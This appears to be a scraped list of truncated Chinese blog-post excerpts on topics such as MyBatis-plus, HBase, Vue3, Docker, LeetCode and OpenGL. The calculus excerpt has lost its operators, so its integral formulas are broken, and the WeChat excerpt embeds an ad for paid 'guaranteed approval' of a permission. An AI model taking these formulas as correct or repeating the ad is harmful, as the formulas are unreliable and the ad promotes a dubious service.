当在项目中需要对某些实体类中的公共的属性进行自动填充时,可以使用Mybatis-plus中的自动填充功能。 (1)我们可以在实体类中把要自动填充的类属性加上指定的注解TableField(填写在上面方法时进行填充的枚举类型填充策略ÿ…...

大数据课程G2——Hbase的基本架构
文章作者邮箱:yugongshiye@sina.cn 地址:广东惠州 ▲ 本章节目的 ⚪ 掌握Hbase的基本架构; ⚪ 掌握Hbase的读写流程; ⚪ 掌握Hbase的设计与优化; 一、基本架构 1. HRegion 1. 在HBase中,会将一个表从行键方向上进行切分,切分成1个或者多个HRegion。 …...

微信小程序wx.getlocation接口权限申请总结
先附上申请通过截图 插播内容:可代开通,保证通过。wx.getLocation接口(获取当前的地址位置) qq: 308205428 如何申请 当申请微信小程序的wx.getLocation接口权限时,你可以…...
简单游戏截图_可控截取内容1
一个需求 我需要在场景中截取不同层级的截图(如只截模型或只截UI或只截外部相加看到的画面 或全都截或和Shader配合呈现人眼夜视仪热成像的画面切换) 将截图排到列表中,在场景UI中展示出来 如何做 相机要能够看到不同的画面 将当前帧画面存储下来 将存储的画面展示出…...

Vue3_02 创建Vue3.0工程
1.使用 vue-cli 创建 ## 查看 vue/cli 版本,确保 vue/cli 版本在4.5.0以上 vue -V 或 vue --version## 安装或升级你的 vue/cli npm install -g vue/cli## 创建 vue create vue_test## 启动 cd vue-test npm run serve 2.使用 vite 创建 什么是vite?——新一代…...

Arduino ESP 8266 ESPAsyncWebServer AsyncCallbackJsonWebHandler
Arduino-ESP 8266 踩坑(一) ESPAsyncWebServer AsyncCallbackJsonWebHandler 在使用 ESPAsyncWebServer 时 由于我想用 asyncWebServer 通过 application/json POST 请求拿数据, 就翻看了 ESPAsyncWebServer 的 git 文档, 他是这样说的 : //JSON body handling with ArduinoJ…...

Source Insight_突出显示对选定字符的引用
1、突出显示对选定字符的引用 在Source Insight中,当我们选中一个函数或者变量的时候,关于它的所有引用地方都高亮显示,想要实现效果如下。 2、配置方法 (1)点击"Options"→“File Type options...” (2)勾选“Highlight referenc…...
高等数学上册 第五章 定积分 知识点总结
定积分 定积分的性质: ( 1 ) ∫ a b [ α f ( x ) β g ( x ) ] d x α ∫ a b f ( x ) d x β ∫ a b g ( x ) d x ( 2 )设 a < c < b ,则 ∫ a b f ( x ) d x ∫ a c f ( x ) d x ∫ c b f ( …...

docker详细操作--未完待续
docker介绍 docker官网: Docker:加速容器应用程序开发 harbor官网:Harbor - Harbor 中文 使用docker加速器: Docker镜像极速下载服务 - 毫秒镜像 是什么 Docker 是一种开源的容器化平台,用于将应用程序及其依赖项(如库、运行时环…...
Leetcode 3577. Count the Number of Computer Unlocking Permutations
Leetcode 3577. Count the Number of Computer Unlocking Permutations 1. 解题思路2. 代码实现 题目链接:3577. Count the Number of Computer Unlocking Permutations 1. 解题思路 这一题其实就是一个脑筋急转弯,要想要能够将所有的电脑解锁&#x…...

MySQL 8.0 OCP 英文题库解析(十三)
Oracle 为庆祝 MySQL 30 周年,截止到 2025.07.31 之前。所有人均可以免费考取原价245美元的MySQL OCP 认证。 从今天开始,将英文题库免费公布出来,并进行解析,帮助大家在一个月之内轻松通过OCP认证。 本期公布试题111~120 试题1…...

自然语言处理——循环神经网络
自然语言处理——循环神经网络 循环神经网络应用到基于机器学习的自然语言处理任务序列到类别同步的序列到序列模式异步的序列到序列模式 参数学习和长程依赖问题基于门控的循环神经网络门控循环单元(GRU)长短期记忆神经网络(LSTM)…...

Java面试专项一-准备篇
一、企业简历筛选规则 一般企业的简历筛选流程:首先由HR先筛选一部分简历后,在将简历给到对应的项目负责人后再进行下一步的操作。 HR如何筛选简历 例如:Boss直聘(招聘方平台) 直接按照条件进行筛选 例如:…...
【HarmonyOS 5 开发速记】如何获取用户信息(头像/昵称/手机号)
1.获取 authorizationCode: 2.利用 authorizationCode 获取 accessToken:文档中心 3.获取手机:文档中心 4.获取昵称头像:文档中心 首先创建 request 若要获取手机号,scope必填 phone,permissions 必填 …...

html-<abbr> 缩写或首字母缩略词
定义与作用 <abbr> 标签用于表示缩写或首字母缩略词,它可以帮助用户更好地理解缩写的含义,尤其是对于那些不熟悉该缩写的用户。 title 属性的内容提供了缩写的详细说明。当用户将鼠标悬停在缩写上时,会显示一个提示框。 示例&#x…...
安卓基础(aar)
重新设置java21的环境,临时设置 $env:JAVA_HOME "D:\Android Studio\jbr" 查看当前环境变量 JAVA_HOME 的值 echo $env:JAVA_HOME 构建ARR文件 ./gradlew :private-lib:assembleRelease 目录是这样的: MyApp/ ├── app/ …...
C++.OpenGL (14/64)多光源(Multiple Lights)
多光源(Multiple Lights) 多光源渲染技术概览 #mermaid-svg-3L5e5gGn76TNh7Lq {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-3L5e5gGn76TNh7Lq .error-icon{fill:#552222;}#mermaid-svg-3L5e5gGn76TNh7Lq .erro…...
虚拟电厂发展三大趋势:市场化、技术主导、车网互联
市场化:从政策驱动到多元盈利 政策全面赋能 2025年4月,国家发改委、能源局发布《关于加快推进虚拟电厂发展的指导意见》,首次明确虚拟电厂为“独立市场主体”,提出硬性目标:2027年全国调节能力≥2000万千瓦࿰…...